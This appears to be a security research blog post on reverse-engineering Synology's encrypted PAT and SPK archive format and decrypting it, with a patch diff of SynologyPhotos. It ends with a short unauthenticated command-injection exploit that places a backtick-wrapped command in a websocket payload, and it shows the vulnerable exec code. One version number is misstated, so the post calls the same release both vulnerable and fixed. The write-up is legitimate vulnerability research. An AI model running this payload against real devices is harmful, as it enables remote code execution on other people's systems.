Extraction of Synology encrypted archives - Pwn2Own Ireland 2024

Written by Théo Fauché - 11/08/2025 - in Outils , Reverse-engineering - Download

This article features the reverse engineering of Synology encrypted archives extraction libraries and the release of a script able to decrypt these archives. The tool is available on Synacktiv's GitHub.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Context

During Pwn2Own Ireland 2024 we targeted the BeeStation BST150-4T a NAS from Synology.

BeeStation

 

To begin the analysis, we extract update archives available on the website of Synology. These are encrypted PAT archives, Patology allows us to extract them.

These archives contain configuration files, native libraries, and SPK files corresponding to the applications running on the NAS.

No tool has been found to extract SPK files without having access to a Synology NAS.

After Pwn2Own we thought it might be useful to have a script to extract SPK files without having a NAS and be able to access code of applications. Especially since the exploited vulnerability is located in an application (SynologyPhotos).

This article features the reverse engineering of the SPK extraction libraries and the release of a script able to decrypt all Synology archives. The tool is available on Synacktiv’s GitHub.

Reverse of the libraries

The firmware of Synology devices are available on their website. For the BeeStation, this is an encrypted PAT archive. It is possible to use Patology to extract it.

$ file BSM_BST150-4T_65374.pat
BSM_BST150-4T_65374.pat: Synology archive
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
[...]
$ ls
BSM_BST150-4T_65374.pat  DiskCompatibilityDB.tar  indexdb.txz  packages  synohdpack_img.txz  texts            uboot_MANGO.bin  VERSION
checksum.syno            hda1.tgz                 model.dtb    rd.bin    Synology.sig        uboot_do_upd.sh  updater          zImage

After extracting hda1.tgz, a grep -ri spk usr/lib will print a list of libraries containing the string “spk”. By its name, the usr/lib/libsynopkg.so.1 file looks interesting. It contains an ExtractSpk function which executes /usr/syno/sbin/synoarchive -xf <archive>.

The binary synoarchive calls synoarchive_* functions to extract the archive. These functions are defined in the libsynocodesign.so library.

// initialise the synoarchive context
ctx = synoarchive_init(destdir);
if ( !ctx )
{
  _fprintf_chk(*off_15FA8, 2, "Failed to extract package at synoarchive_init");
  goto LABEL_10;
}
// [...]

// extract the archive
v7 = synoarchive_open_with_keytype(ctx, archive_realpath, 3);
if ( !v7 )
{
  _fprintf_chk(*off_15FA8, 2, "synoarchive_open %s failed. ret: %d", archive_path, *(_DWORD *)(ctx + 16));
  v7 = 0;
  goto LABEL_11;
}

libsynocodesign.so is in rd.bin which we have to extract:

$ file ../rd.bin
../rd.bin: LZMA compressed data, streamed
$ lzcat ../rd.bin | file -
/dev/stdin: ASCII cpio archive (SVR4 with no CRC)
$ lzcat ../rd.bin | cpio -i

Key extraction

The entry point of libsynocodesign.so to extract archives is the function synoarchive_open_with_keytype. It takes as parameters a pointer to synoarchive_t (which is a context structure containing the destination directory, the last error code, and other fields), the path to the archive, and an integer keytype which corresponds to the type of the archive. The function get_keys selects keys according to keytype.

__int64 __fastcall synoarchive_open_with_keytype(synoarchive_t *synoarchive, char *archive_path, int keytype)
{
  // [...]
  if ( get_keys(keytype, &signature_key, &master_key) )
    return j_synoarchive_open(_synoarchive, _archive_path, signature_key, master_key);
  else
    return 0;
}

For an SPK, keytype is 3.

__int64 __fastcall get_keys(int keytype, __int64 **signature_key, __int64 **master_key)
{

  switch ( keytype )
  {
    case 0:    // SYSTEM (PAT)
    case 10:
    case 11:
      v4 = &qword_23A40;
      v5 = qword_23A68;
      goto LABEL_5;
    // [...]
    case 3:    // SPK
      v4 = qword_23AE0;
      v5 = qword_23B08;
      goto LABEL_5;
    // [...]
LABEL_5:
      *signature_key = v4;
      result = 1LL;
      *master_key = v5;
      break;
    default:
      result = 0LL;
      break;
  }
  return result;
}

signature_key corresponds to the public key used to verify the header signature and master_key is used to derive the encryption key.

Header deserialization

Here is the code for synoarchive_open:

__int64 __fastcall synoarchive_open(synoarchive_t *synoarchive, char *archive_path, __int128 *signature_key, __int64 *master_key)
{
  // [...]

  // read the header and check that the archive is a synology archive
  if ( !support_format_synoarchive(synoarchive, archive_path, signature_key, master_key) )
    return 0LL;

  // decrypt the archive
  if (j_archive_read_open_file(synoarchive->field_0->archive, archive_path))
    // [...]
  return result;
}

The function support_format_synoarchive calls archive_read_support_format_synoarchive. This function will read the header of the archive. It starts by checking the magic bytes.

// open the archive and read its magic bytes
f = fopen64(archive_path, "rb");
if ( !fread(&buf_magic_bytes, 4u, 1u, f) )
{
  // [...]
  return v8;
}
magic_bytes = bswap32(buf_magic_bytes) & 0xFFFFFF;
archive->magic_bytes = magic_bytes;
// check the magic bytes
if ( magic_bytes != 0xBFBAAD && magic_bytes != 0xADBEEF )
{
  // [...]
  return -6;
}

It then reads the header, which has a variable size, and its signature.

// read header length
if ( fread(&header_len, 1u, 4u, f) != 4 )
{
  // [...]
  return v8;
}
archive->header_len = header_len;
// allocate a buffer for the header
header = malloc(header_len);
if ( !header )
{
  // [...]
  return -9;
}
// read the header and its signature
if ( !fread(header, header_len, 1u, f) || !fread(header_sig, 0x40u, 1u, f) )
{
  // [...]
  return -9;
}

The signature is checked with the function crypto_sign_verify_detached from libsodium. The program iterates on each public key until it finds the correct one. Thus, it is possible to specify multiple public keys, but no code declaring multiple keys has been identified.

// check the signature using each public key
while ( crypto_sign_verify_detached(header_sig, header, header_len, pubkey) )
{
  pubkey = archive->pubkeys[v32++];
  if ( !pubkey )
    goto LABEL_39;
}

The header is deserialized using the MessagePack library.

memset(&msgpack_result, 0, sizeof(msgpack_result));
off = 0;
if ( msgpack_unpack_next(&msgpack_result, header, header_len, &off) != MSGPACK_UNPACK_SUCCESS )
{
  v8 = -10;
  goto LABEL_31;
}

Here is the pseudo-python structure of the deserialized header:

[
  data: bytes,
  entries: [
    entry: [
      size: int,
      hash: bytes
    ]
  ],
  archive_description: bytes,
  serial_number: [bytes],
  not_valid_before: int,
]

Each entry describes the size and the hash of the archive entry. An archive entry is a file contained in the archive.

In order to decrypt the archive entries, a portion of the field data is used by the private key derivation process. The resulting private key is stored in kdf_subkey.

bzero(ctx, sizeof(ctx));
// get the `data` element of the messagepack structure
data = array_items[0]->via.bin.ptr;
// extract subkey_id from data
subkey_id = *(_QWORD *)(data + 16);
// extract 7 bytes from data and use them for the key derivation
memcpy(ctx, data + 24, 7);
// derive kdf_subkey using subkey_id, ctx, and master_key
if ( crypto_kdf_derive_from_key(archive->kdf_subkey, 0x20u, subkey_id, ctx, master_key) )
{
  v8 = -14;
  goto LABEL_31;
}

The function archive_read_support_format_synoarchive ends by calling archive_read_support_format_tar, which extracts the archive entries.

The parsing of the archive header can be summarised as follows:

Header

 

Entries decryption

Grep.app shows that archive_read_support_format_tar comes from the libarchive library. Synology has modified the code of libarchive to add an encryption layer for its archive file format. A new “tar” format is registered and the callbacks used to read the header and the entries contain the decryption logic.

magic_bytes = archive->magic_bytes;
if ( magic_bytes == 0xADBEEF )
{
  if ( !j___archive_read_register_format(
                        archive,
                        tar_data,
                        "tar",
                        spk_bid,
                        spk_options,
                        spk_read_header,
                        spk_read_data,
                        spk_read_data_skip,
                        0LL,
                        spk_cleanup,
                        0LL,
                        0LL) )
    return 0LL;
  goto LABEL_8;
}

The function spk_read_header is used to read the header of each archive entry and spk_read_data is called to read and decrypt the entries.

// spk_read_header

// read 0x200 bytes into encrypted_header
encrypted_header = j___archive_read_ahead(a1, 0x200u, &v109);
magic_bytes = a1->magic_bytes;
*n_read = 0x200;
if ( magic_bytes == 0xADBEEF )
{
  // use the first 0x18 bytes for the nonce
  memcpy(crypto_header, encrypted_header, 0x18);
  if ( crypto_secretstream_xchacha20poly1305_init_pull(
                       state,
                       crypto_header,
                       a1->kdf_subkey) )
  {
    v17 = -30;
    j_archive_set_error((__int64)a1, 4294967293LL, "Incomplete cipher header");
    return v17;
  }
  
  // decrypt the next 0x193 bytes
  memcpy(_encrypted_header, encrypted_header + 0x18, 0x193u);
  memset(encrypted_header, 0, 0x200u);
  if ( crypto_secretstream_xchacha20poly1305_pull(state, decrypted_header, &mlen_p, &tag_p, _encrypted_header, 0x193u, 0, 0)
    || tag_p != 3 )
  {
    j_archive_set_error((__int64)a1, 4294967293LL, "Corrupted entry header");
    return (unsigned int)-30;
  }
}

The first 0x18 bytes correspond to the nonce called cipher_header by libsodium, it is used to initialise the libsodium context. The key is the one computed during the parsing of the header. The next 0x193 bytes are decrypted. The decrypted header is a genuine tar header.

// spk_read_data

if ( !crypto_state )
{
  // read 0x18 bytes into cipher_header
  cipher_header = j___archive_read_ahead(a1, 0x18u, &a3);
  if ( !cipher_header )
  {
    j_archive_set_error(a1, 0xFFFFFFFDLL, "Truncated cipher header");
    return -30;
  }
  
  // allocate the libsodium state
  state = malloc(0x34u);
  a1->passphrases.crypto_state = state;
  if ( !state )
  {
    j_archive_set_error(a1, 12, "Can't allocate chunk state");
    return -30;
  }

  // initialise the libsodium state and use cipher_buffer as nonce
  if ( crypto_secretstream_xchacha20poly1305_init_pull(state, cipher_header, a1->kdf_subkey) )
  {
    j_archive_set_error(a1, 0xFFFFFFFDLL, "Incomplete cipher header");
    free(a1->passphrases.crypto_state);
    a1->passphrases.crypto_state = 0;
    return -30;
  }
  j___archive_read_consume(a1, 0x18);
}

For decrypting entries contents, the cryptographic context is initialised in the same way as for entries headers. The first 0x18 bytes are used as nonce and the key used is the same.

The contents are read in blocks with a maximum size of 0x400000+0x11 and the blocks are decrypted one after the other.

// spk_read_data

// read at most 0x400000+0x11 bytes in contents
size = tar_header.size;
if ( size > 0x400000 )
  size = 0x400000;
size += 0x11;
contents = j___archive_read_ahead(a1, size, &a3);

// decrypt the contents
if ( crypto_secretstream_xchacha20poly1305_pull(
       a1->passphrases.crypto_state,
       *a2,
       &v34,
       tag,
       contents,
       size,
       0,
       0) )
{
  j_archive_set_error((__int64)a1, 4294967293LL, "Corrupted entry data");
}

Once each entry has been decrypted, we obtain a valid tar file.

Here is the entry decryption diagram.

Entries decryption

 

Finally, SPK archives have the same format as PAT archives. Only the key used to verify the header signature and the one used to decrypt the contents of the archive are different. Using the right keys, Patology is able to extract PAT files as well as SPK files. We only realised this after we had developed our own tool.

The tool to extract all encrypted Synology archives (SPK, PAT, and others) is available on our GitHub.

Patch diffing of two version of SynoPhotos to highlight the Pwn2Own vulnerability

Now that we are able to extract SPK archives which contain applications code, we can compare the versions 1.7.0-0794 and 1.7.0-0795 of SynoPhotos to highlight the vulnerability we exploited at Pwn2Own.

The version 1.7.0-0794 is the vulnerable version.

$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
[+] found matching keys
[+] header signature verified
[+] 104 entries
INFO
[...]
scripts/postuninst
[+] archive successfully decrypted
[+] output at SynologyPhotos-rtd1619b-1.7.0-0794.tar

$ tar xvf SynologyPhotos-rtd1619b-1.7.0-0794.tar
INFO
[...]
scripts/postuninst

$ tar xvf package.tgz
apparmor/
[...]
nodejs/js-server/js_server_bundle.js
[...]
usr/lib/libsynophoto-plugin-message.so

Here is the interesting source code:

// nodejs/js-server/js_server_bundle.pretty.js

(0, o.exec)(`/var/packages/SynologyPhotos/target/usr/bin/synofoto-bin-add-udc-event --id_user ${t} --type view_page --payload '${JSON.stringify({location:this[e].location,duration:i})}'`)

The vulnerability has been fixed in version 1.7.0-0794.

// nodejs/js-server/js_server_bundle.pretty.js

(0, o.execFile)("/var/packages/SynologyPhotos/target/usr/bin/synofoto-bin-add-udc-event",
  [
    "--id_user", t,
    "--type", "view_page",
    "--payload", JSON.stringify({
      location: this[e].location,
      duration: i
    })
  ]
)

There is a command injection in the vulnerable version. Synology fixed the bug by replacing the call to child_process.exec with child_process.execFile, which takes a list of arguments as a parameter.

The vulnerability is reachable without authentication.

Here is the exploit:

with connect(f"ws://{TARGET_IP}:6600/BeePhotos/FotoSocketIo/socket.io/?SynoToken=xxxx.&EIO=4&transport=websocket") as ws:
  print(ws.recv())
  ws.send('40')
  print(ws.recv())
  ws.send('42["page-view",{"id_user":"`' + cmd + '`","location":"/personal_space/timeline","timestamp":1723228244,"operation":"emit"}]')
  print(ws.recv())